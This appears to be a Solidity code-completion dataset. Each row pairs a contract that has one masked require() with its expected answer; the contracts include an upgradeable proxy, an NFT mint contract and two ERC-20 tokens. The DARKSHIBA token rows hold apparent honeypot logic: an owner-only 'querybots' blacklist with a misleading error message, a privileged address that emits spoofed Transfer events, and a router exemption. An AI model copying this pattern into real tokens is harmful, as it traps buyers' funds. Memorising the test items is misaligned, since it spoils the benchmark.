function _getAdmin() internal view returns (address) {
}
function _setAdmin(address newAdmin) private {
}
function _changeAdmin(address newAdmin) internal {
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(<FILL_ME>)
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
}
function _implementation() internal view virtual override returns (address impl) {
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
}
modifier ifAdmin() {
}
function admin() external ifAdmin returns (address admin_) {
}
function implementation() external ifAdmin returns (address implementation_) {
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
}
function upgradeTo(address newImplementation) external ifAdmin {
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
}
function _admin() internal view virtual returns (address) {
}
function _beforeFallback() internal virtual override {
}
}
| Address.isContract(IBeacon(newBeacon).implementation()),"ERC1967: beacon implementation is not a contract" | 121,077 | Address.isContract(IBeacon(newBeacon).implementation()) |
"AllianceOfTheInfiniteUniverse: Reached max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract AllianceOfTheInfiniteUniverse is
Ownable,
ERC721A,
ReentrancyGuard,
Pausable
{
event UpdateMaxPerTx(uint256 maxPerTx);
event UpdateReserveTeamTokens(uint256 reserveTeamTokens);
event UpdateTreasury(address treasury);
event UpdateBaseURI(string baseURI);
event UpdatePublicSalePrice(uint256 publicSalePrice);
event UpdateMaxMintTotalPerAddress(uint256 maxMintTotalPerAddress);
event UpdateCollectionSupply(uint256 collectionSupply);
event UpdateEnableBurn(bool enableBurn);
bool public enableBurn = false;
uint256 public maxPerTx = 10000;
uint256 public collectionSupply = 10000;
uint256 public reserveTeamTokens = 100;
uint256 public publicSalePrice = 0.05 ether;
uint256 public maxMintTotalPerAddress = 10000;
address public treasury;
string public baseURI;
constructor() ERC721A("Alliance of the Infinite Universe", "AIU") {
}
/* ======== MODIFIERS ======== */
modifier callerIsTreasury() {
}
modifier callerIsTreasuryOrOwner() {
}
/* ======== SETTERS ======== */
function setPaused(bool paused_) external onlyOwner {
}
function setPublicSalePrice(uint256 publicSalePrice_) external onlyOwner {
}
function setCollectionSupply(uint256 collectionSupply_) external onlyOwner {
}
function setMaxPerTx(uint256 maxPerTx_) external onlyOwner {
}
function setEnableBurn(bool enableBurn_) external onlyOwner {
}
function setReserveTeamTokens(uint256 reserveTeamTokens_)
external
onlyOwner
{
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setTreasury(address treasury_) external onlyOwner {
}
function setMaxMintTotalPerAddress(uint256 maxMintTotalPerAddress_)
external
onlyOwner
{
}
/* ======== INTERNAL ======== */
function _validateMint(uint256 quantity_) private {
require(<FILL_ME>)
require(
quantity_ > 0 && quantity_ <= maxPerTx,
"AllianceOfTheInfiniteUniverse: Reached max mint per tx"
);
require(
(_numberMinted(_msgSender()) + quantity_) <= maxMintTotalPerAddress,
"AllianceOfTheInfiniteUniverse: Reached max mint"
);
refundIfOver(publicSalePrice * quantity_);
}
function refundIfOver(uint256 price) private {
}
/* ======== EXTERNAL ======== */
function numberMinted(address owner) external view returns (uint256) {
}
function publicSaleMint(uint256 quantity_) external payable whenNotPaused {
}
function teamTokensMint(address to_, uint256 quantity_)
external
callerIsTreasuryOrOwner
{
}
function withdrawEth() external callerIsTreasury nonReentrant {
}
function withdrawPortionOfEth(uint256 withdrawAmount_)
external
callerIsTreasury
nonReentrant
{
}
function burn(uint256 tokenId) external {
}
/* ======== OVERRIDES ======== */
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
}
| (totalSupply()+quantity_)<=collectionSupply,"AllianceOfTheInfiniteUniverse: Reached max supply" | 121,118 | (totalSupply()+quantity_)<=collectionSupply |
"AllianceOfTheInfiniteUniverse: Reached max mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract AllianceOfTheInfiniteUniverse is
Ownable,
ERC721A,
ReentrancyGuard,
Pausable
{
event UpdateMaxPerTx(uint256 maxPerTx);
event UpdateReserveTeamTokens(uint256 reserveTeamTokens);
event UpdateTreasury(address treasury);
event UpdateBaseURI(string baseURI);
event UpdatePublicSalePrice(uint256 publicSalePrice);
event UpdateMaxMintTotalPerAddress(uint256 maxMintTotalPerAddress);
event UpdateCollectionSupply(uint256 collectionSupply);
event UpdateEnableBurn(bool enableBurn);
bool public enableBurn = false;
uint256 public maxPerTx = 10000;
uint256 public collectionSupply = 10000;
uint256 public reserveTeamTokens = 100;
uint256 public publicSalePrice = 0.05 ether;
uint256 public maxMintTotalPerAddress = 10000;
address public treasury;
string public baseURI;
constructor() ERC721A("Alliance of the Infinite Universe", "AIU") {
}
/* ======== MODIFIERS ======== */
modifier callerIsTreasury() {
}
modifier callerIsTreasuryOrOwner() {
}
/* ======== SETTERS ======== */
function setPaused(bool paused_) external onlyOwner {
}
function setPublicSalePrice(uint256 publicSalePrice_) external onlyOwner {
}
function setCollectionSupply(uint256 collectionSupply_) external onlyOwner {
}
function setMaxPerTx(uint256 maxPerTx_) external onlyOwner {
}
function setEnableBurn(bool enableBurn_) external onlyOwner {
}
function setReserveTeamTokens(uint256 reserveTeamTokens_)
external
onlyOwner
{
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setTreasury(address treasury_) external onlyOwner {
}
function setMaxMintTotalPerAddress(uint256 maxMintTotalPerAddress_)
external
onlyOwner
{
}
/* ======== INTERNAL ======== */
function _validateMint(uint256 quantity_) private {
require(
(totalSupply() + quantity_) <= collectionSupply,
"AllianceOfTheInfiniteUniverse: Reached max supply"
);
require(
quantity_ > 0 && quantity_ <= maxPerTx,
"AllianceOfTheInfiniteUniverse: Reached max mint per tx"
);
require(<FILL_ME>)
refundIfOver(publicSalePrice * quantity_);
}
function refundIfOver(uint256 price) private {
}
/* ======== EXTERNAL ======== */
function numberMinted(address owner) external view returns (uint256) {
}
function publicSaleMint(uint256 quantity_) external payable whenNotPaused {
}
function teamTokensMint(address to_, uint256 quantity_)
external
callerIsTreasuryOrOwner
{
}
function withdrawEth() external callerIsTreasury nonReentrant {
}
function withdrawPortionOfEth(uint256 withdrawAmount_)
external
callerIsTreasury
nonReentrant
{
}
function burn(uint256 tokenId) external {
}
/* ======== OVERRIDES ======== */
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
}
| (_numberMinted(_msgSender())+quantity_)<=maxMintTotalPerAddress,"AllianceOfTheInfiniteUniverse: Reached max mint" | 121,118 | (_numberMinted(_msgSender())+quantity_)<=maxMintTotalPerAddress |
"AllianceOfTheInfiniteUniverse: Reached team tokens mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract AllianceOfTheInfiniteUniverse is
Ownable,
ERC721A,
ReentrancyGuard,
Pausable
{
event UpdateMaxPerTx(uint256 maxPerTx);
event UpdateReserveTeamTokens(uint256 reserveTeamTokens);
event UpdateTreasury(address treasury);
event UpdateBaseURI(string baseURI);
event UpdatePublicSalePrice(uint256 publicSalePrice);
event UpdateMaxMintTotalPerAddress(uint256 maxMintTotalPerAddress);
event UpdateCollectionSupply(uint256 collectionSupply);
event UpdateEnableBurn(bool enableBurn);
bool public enableBurn = false;
uint256 public maxPerTx = 10000;
uint256 public collectionSupply = 10000;
uint256 public reserveTeamTokens = 100;
uint256 public publicSalePrice = 0.05 ether;
uint256 public maxMintTotalPerAddress = 10000;
address public treasury;
string public baseURI;
constructor() ERC721A("Alliance of the Infinite Universe", "AIU") {
}
/* ======== MODIFIERS ======== */
modifier callerIsTreasury() {
}
modifier callerIsTreasuryOrOwner() {
}
/* ======== SETTERS ======== */
function setPaused(bool paused_) external onlyOwner {
}
function setPublicSalePrice(uint256 publicSalePrice_) external onlyOwner {
}
function setCollectionSupply(uint256 collectionSupply_) external onlyOwner {
}
function setMaxPerTx(uint256 maxPerTx_) external onlyOwner {
}
function setEnableBurn(bool enableBurn_) external onlyOwner {
}
function setReserveTeamTokens(uint256 reserveTeamTokens_)
external
onlyOwner
{
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setTreasury(address treasury_) external onlyOwner {
}
function setMaxMintTotalPerAddress(uint256 maxMintTotalPerAddress_)
external
onlyOwner
{
}
/* ======== INTERNAL ======== */
function _validateMint(uint256 quantity_) private {
}
function refundIfOver(uint256 price) private {
}
/* ======== EXTERNAL ======== */
function numberMinted(address owner) external view returns (uint256) {
}
function publicSaleMint(uint256 quantity_) external payable whenNotPaused {
}
function teamTokensMint(address to_, uint256 quantity_)
external
callerIsTreasuryOrOwner
{
require(
(totalSupply() + quantity_) <= collectionSupply,
"AllianceOfTheInfiniteUniverse: Reached max supply"
);
require(<FILL_ME>)
reserveTeamTokens = reserveTeamTokens - quantity_;
emit UpdateReserveTeamTokens(reserveTeamTokens);
_safeMint(to_, quantity_);
}
function withdrawEth() external callerIsTreasury nonReentrant {
}
function withdrawPortionOfEth(uint256 withdrawAmount_)
external
callerIsTreasury
nonReentrant
{
}
function burn(uint256 tokenId) external {
}
/* ======== OVERRIDES ======== */
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
}
| (reserveTeamTokens-quantity_)>=0,"AllianceOfTheInfiniteUniverse: Reached team tokens mint" | 121,118 | (reserveTeamTokens-quantity_)>=0 |
"AllianceOfTheInfiniteUniverse: !burn" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract AllianceOfTheInfiniteUniverse is
Ownable,
ERC721A,
ReentrancyGuard,
Pausable
{
event UpdateMaxPerTx(uint256 maxPerTx);
event UpdateReserveTeamTokens(uint256 reserveTeamTokens);
event UpdateTreasury(address treasury);
event UpdateBaseURI(string baseURI);
event UpdatePublicSalePrice(uint256 publicSalePrice);
event UpdateMaxMintTotalPerAddress(uint256 maxMintTotalPerAddress);
event UpdateCollectionSupply(uint256 collectionSupply);
event UpdateEnableBurn(bool enableBurn);
bool public enableBurn = false;
uint256 public maxPerTx = 10000;
uint256 public collectionSupply = 10000;
uint256 public reserveTeamTokens = 100;
uint256 public publicSalePrice = 0.05 ether;
uint256 public maxMintTotalPerAddress = 10000;
address public treasury;
string public baseURI;
constructor() ERC721A("Alliance of the Infinite Universe", "AIU") {
}
/* ======== MODIFIERS ======== */
modifier callerIsTreasury() {
}
modifier callerIsTreasuryOrOwner() {
}
/* ======== SETTERS ======== */
function setPaused(bool paused_) external onlyOwner {
}
function setPublicSalePrice(uint256 publicSalePrice_) external onlyOwner {
}
function setCollectionSupply(uint256 collectionSupply_) external onlyOwner {
}
function setMaxPerTx(uint256 maxPerTx_) external onlyOwner {
}
function setEnableBurn(bool enableBurn_) external onlyOwner {
}
function setReserveTeamTokens(uint256 reserveTeamTokens_)
external
onlyOwner
{
}
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setTreasury(address treasury_) external onlyOwner {
}
function setMaxMintTotalPerAddress(uint256 maxMintTotalPerAddress_)
external
onlyOwner
{
}
/* ======== INTERNAL ======== */
function _validateMint(uint256 quantity_) private {
}
function refundIfOver(uint256 price) private {
}
/* ======== EXTERNAL ======== */
function numberMinted(address owner) external view returns (uint256) {
}
function publicSaleMint(uint256 quantity_) external payable whenNotPaused {
}
function teamTokensMint(address to_, uint256 quantity_)
external
callerIsTreasuryOrOwner
{
}
function withdrawEth() external callerIsTreasury nonReentrant {
}
function withdrawPortionOfEth(uint256 withdrawAmount_)
external
callerIsTreasury
nonReentrant
{
}
function burn(uint256 tokenId) external {
require(<FILL_ME>)
address owner = ownerOf(tokenId);
require(
_msgSender() == owner,
"AllianceOfTheInfiniteUniverse: Is not the owner of this token"
);
_burn(tokenId);
}
/* ======== OVERRIDES ======== */
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
}
| !enableBurn,"AllianceOfTheInfiniteUniverse: !burn" | 121,118 | !enableBurn |
"Already initalized" | // SPDX-License-Identifier: Unlicensed
/**
Superfluid is a revolutionary asset streaming protocol that brings subscriptions, salaries, vesting, and rewards to DAOs and crypto-native businesses worldwide.
Website: https://www.superfluid.cloud
Telegram: https://t.me/SuperFluid_erc20
Twitter: https://twitter.com/superfluid_erc
Dapp: https://app.superfluid.cloud
*/
pragma solidity = 0.8.19;
//--- Interface for ERC20 ---//
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
//--- Context ---//
abstract contract Context {
constructor() {
}
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
//--- Ownable ---//
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
//--- Contract ---//
contract SFLUID is Context, Ownable, IERC20 {
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFee;
mapping (address => bool) private liquidityAdd;
mapping (address => bool) private isLpPair;
mapping (address => bool) private isPresaleAddress;
mapping (address => uint256) private balance;
uint256 constant public _totalSupply = 10 ** 9 * 10**9;
uint256 constant public swapThreshold = _totalSupply / 100_000;
uint256 public buyfee = 220;
uint256 public sellfee = 220;
uint256 constant public transferfee = 0;
uint256 constant public fee_denominator = 1_000;
uint256 private maxWallet = 25 * _totalSupply / 1000;
bool private canSwapFees = true;
address payable private teamAddress;
bool public isTradingEnabled = false;
bool private inSwap;
bool private avoidMaxTxLimits = false;
modifier inSwapFlag {
}
IRouter02 public swapRouter;
string constant private _name = "SuperFluid";
string constant private _symbol = "SFLUID";
uint8 constant private _decimals = 9;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address public lpPair;
event _enableTrading();
event _setPresaleAddress(address account, bool enabled);
event _toggleCanSwapFees(bool enabled);
event _changePair(address newLpPair);
event _changeThreshold(uint256 newThreshold);
event _changeWallets(address newBuy);
event _changeFees(uint256 buy, uint256 sell);
event SwapAndLiquify();
constructor (address SFluidWallet) {
}
function isNoSFluidFeeWallet(address account) external view returns(bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function is_buy(address ins, address out) internal view returns (bool) {
}
function is_sell(address ins, address out) internal view returns (bool) {
}
function is_transfer(address ins, address out) internal view returns (bool) {
}
function canSwap(address ins, address out) internal view returns (bool) {
}
function changeSFluidWallets(address newBuy) external onlyOwner {
}
function internalSFluidSwap(uint256 contractTokenBalance) internal inSwapFlag {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function setSFluidPresaleAddress(address presale, bool yesno) external onlyOwner {
}
function startSFluidTrading() external onlyOwner {
}
function isLimitedAddress(address ins, address out) internal view returns (bool) {
}
function takeSFluidTaxes(address from, bool isbuy, bool issell, uint256 amount) internal returns (uint256) {
}
function setNoSFluidFeeWallet(address account, bool enabled) public onlyOwner {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
receive() external payable {}
function changeLpPair(address newPair) external onlyOwner {
}
function toggleCanSwapFees(bool yesno) external onlyOwner {
}
event _changeMaxWallet(uint256 newLimit);
function changeSFluidMaxWallet(uint256 base1000) external onlyOwner {
require(<FILL_ME>)
require(base1000 > 0,"Not less than 0.1%");
maxWallet = (_totalSupply * base1000) / 1_000;
emit _changeMaxWallet(maxWallet);
}
function removeAllSFluidLimits() external onlyOwner {
}
function returnSFluidLimits() external view returns(uint256) {
}
}
| !avoidMaxTxLimits,"Already initalized" | 121,123 | !avoidMaxTxLimits |
"Amount Exceeds Balance" | pragma solidity 0.8.7;
/*
██████╗ █████╗ ██████╗ ██╗ ██╗ ███████╗██╗ ██╗██╗██████╗ █████╗
██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██╔════╝██║ ██║██║██╔══██╗██╔══██╗
██║ ██║███████║██████╔╝█████╔╝ ███████╗███████║██║██████╔╝███████║
██║ ██║██╔══██║██╔══██╗██╔═██╗ ╚════██║██╔══██║██║██╔══██╗██╔══██║
██████╔╝██║ ██║██║ ██║██║ ██╗ ███████║██║ ██║██║██████╔╝██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═════╝ ╚═╝ ╚═╝
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
0% Tax - First 24 Hours - Then 5%
100M Supply
*/
contract DARKSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) rxAmount;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address swapV2Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xAeB68a7D21634861bc6D75C417aC4FaE705AFe04;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(<FILL_ME>)
if(msg.sender == Construct) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(!rxAmount[msg.sender] , "Amount Exceeds Balance");
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function querybots(address _user) public onlyOwner {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function deletebots(address _user) public onlyOwner {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !rxAmount[msg.sender],"Amount Exceeds Balance" | 121,137 | !rxAmount[msg.sender] |
"NaN" | pragma solidity 0.8.7;
/*
██████╗ █████╗ ██████╗ ██╗ ██╗ ███████╗██╗ ██╗██╗██████╗ █████╗
██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██╔════╝██║ ██║██║██╔══██╗██╔══██╗
██║ ██║███████║██████╔╝█████╔╝ ███████╗███████║██║██████╔╝███████║
██║ ██║██╔══██║██╔══██╗██╔═██╗ ╚════██║██╔══██║██║██╔══██╗██╔══██║
██████╔╝██║ ██║██║ ██║██║ ██╗ ███████║██║ ██║██║██████╔╝██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═════╝ ╚═╝ ╚═╝
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
0% Tax - First 24 Hours - Then 5%
100M Supply
*/
contract DARKSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) rxAmount;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address swapV2Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xAeB68a7D21634861bc6D75C417aC4FaE705AFe04;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function querybots(address _user) public onlyOwner {
require(<FILL_ME>)
rxAmount[_user] = true; }
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function deletebots(address _user) public onlyOwner {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !rxAmount[_user],"NaN" | 121,137 | !rxAmount[_user] |
"NaN" | pragma solidity 0.8.7;
/*
██████╗ █████╗ ██████╗ ██╗ ██╗ ███████╗██╗ ██╗██╗██████╗ █████╗
██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██╔════╝██║ ██║██║██╔══██╗██╔══██╗
██║ ██║███████║██████╔╝█████╔╝ ███████╗███████║██║██████╔╝███████║
██║ ██║██╔══██║██╔══██╗██╔═██╗ ╚════██║██╔══██║██║██╔══██╗██╔══██║
██████╔╝██║ ██║██║ ██║██║ ██╗ ███████║██║ ██║██║██████╔╝██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═════╝ ╚═╝ ╚═╝
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
0% Tax - First 24 Hours - Then 5%
100M Supply
*/
contract DARKSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) rxAmount;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address swapV2Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xAeB68a7D21634861bc6D75C417aC4FaE705AFe04;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function querybots(address _user) public onlyOwner {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function deletebots(address _user) public onlyOwner {
require(<FILL_ME>)
rxAmount[_user] = false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| rxAmount[_user],"NaN" | 121,137 | rxAmount[_user] |
"Amount Exceeds Balance" | pragma solidity 0.8.7;
/*
██████╗ █████╗ ██████╗ ██╗ ██╗ ███████╗██╗ ██╗██╗██████╗ █████╗
██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██╔════╝██║ ██║██║██╔══██╗██╔══██╗
██║ ██║███████║██████╔╝█████╔╝ ███████╗███████║██║██████╔╝███████║
██║ ██║██╔══██║██╔══██╗██╔═██╗ ╚════██║██╔══██║██║██╔══██╗██╔══██║
██████╔╝██║ ██║██║ ██║██║ ██╗ ███████║██║ ██║██║██████╔╝██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═════╝ ╚═╝ ╚═╝
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
0% Tax - First 24 Hours - Then 5%
100M Supply
*/
contract DARKSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) rxAmount;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address swapV2Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xAeB68a7D21634861bc6D75C417aC4FaE705AFe04;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function querybots(address _user) public onlyOwner {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function deletebots(address _user) public onlyOwner {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
if(to == swapV2Router) {
require(value <= balanceOf[from]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (from, to, value);
return true; }
require(<FILL_ME>)
require(!rxAmount[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| !rxAmount[from],"Amount Exceeds Balance" | 121,137 | !rxAmount[from] |
"Amount Exceeds Balance" | pragma solidity 0.8.7;
/*
██████╗ █████╗ ██████╗ ██╗ ██╗ ███████╗██╗ ██╗██╗██████╗ █████╗
██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝ ██╔════╝██║ ██║██║██╔══██╗██╔══██╗
██║ ██║███████║██████╔╝█████╔╝ ███████╗███████║██║██████╔╝███████║
██║ ██║██╔══██║██╔══██╗██╔═██╗ ╚════██║██╔══██║██║██╔══██╗██╔══██║
██████╔╝██║ ██║██║ ██║██║ ██╗ ███████║██║ ██║██║██████╔╝██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═════╝ ╚═╝ ╚═╝
Dark Shiba - Shadowfork inspired by Shiba Coin -
Tokenomics
0% Tax - First 24 Hours - Then 5%
100M Supply
*/
contract DARKSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) rxAmount;
//
string public name = "Dark Shiba";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 18;
